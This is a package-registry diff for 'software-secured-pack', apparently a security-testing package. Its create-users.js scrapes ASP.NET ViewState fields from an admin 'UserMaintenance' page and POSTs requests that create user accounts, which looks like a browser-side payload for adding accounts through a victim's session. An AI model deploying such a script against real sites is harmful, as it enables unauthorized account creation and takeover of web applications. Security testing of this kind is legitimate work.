software-secured-pack 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/create-users.js +7 -5
  2. package/package.json +1 -1
package/create-users.js CHANGED
@@ -1,10 +1,12 @@
1
1
  const TARGET_URL = "/AdminPages/UserMaintenance.aspx";
2
2
 
3
3
  function extractField(html, name) {
4
- const re = new RegExp(`name="${name}"[^>]*value="([^"]*)"`);
5
- const match = html.match(re);
6
- if (!match) throw new Error(`Could not find ${name} in response`);
7
- return match[1];
4
+ const tagRe = new RegExp(`<input[^>]*name="${name}"[^>]*>`, "i");
5
+ const tag = html.match(tagRe);
6
+ if (!tag) throw new Error(`Could not find field: ${name}`);
7
+ const valMatch = tag[0].match(/value="([^"]*)"/i);
8
+ if (!valMatch) throw new Error(`No value attribute for field: ${name}`);
9
+ return valMatch[1];
8
10
  }
9
11
 
10
12
  async function getViewState() {
@@ -29,7 +31,7 @@ async function getViewState() {
29
31
  }
30
32
 
31
33
  async function postUser(viewStateParams, extraBody) {
32
- const body = viewStateParams.toString() + "&" + extraBody;
34
+ const body = "ctl00_toolkitScriptManager_HiddenField=%3B%3BAjaxControlToolkit%2C+Version%3D3.5.40412.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3D28f01b0e84b6d53e%3Aen-US%3A1547e793-5b7e-48fe-8490-03a375b13a33%3A475a4ef5%3Aeffe2a26%3A1d3ed089%3A5546a2b%3A497ef277%3Aa43b07eb%3A751cdd15%3Adfad98a5%3A3cf12cf1&__EVENTTARGET=&__EVENTARGUMENT=&" + viewStateParams.toString() + "&" + extraBody;
33
35
 
34
36
  const res = await fetch(TARGET_URL, {
35
37
  method: "POST",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "software-secured-pack",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "test package",
5
5
  "main": "create-users.js",
6
6
  "scripts": {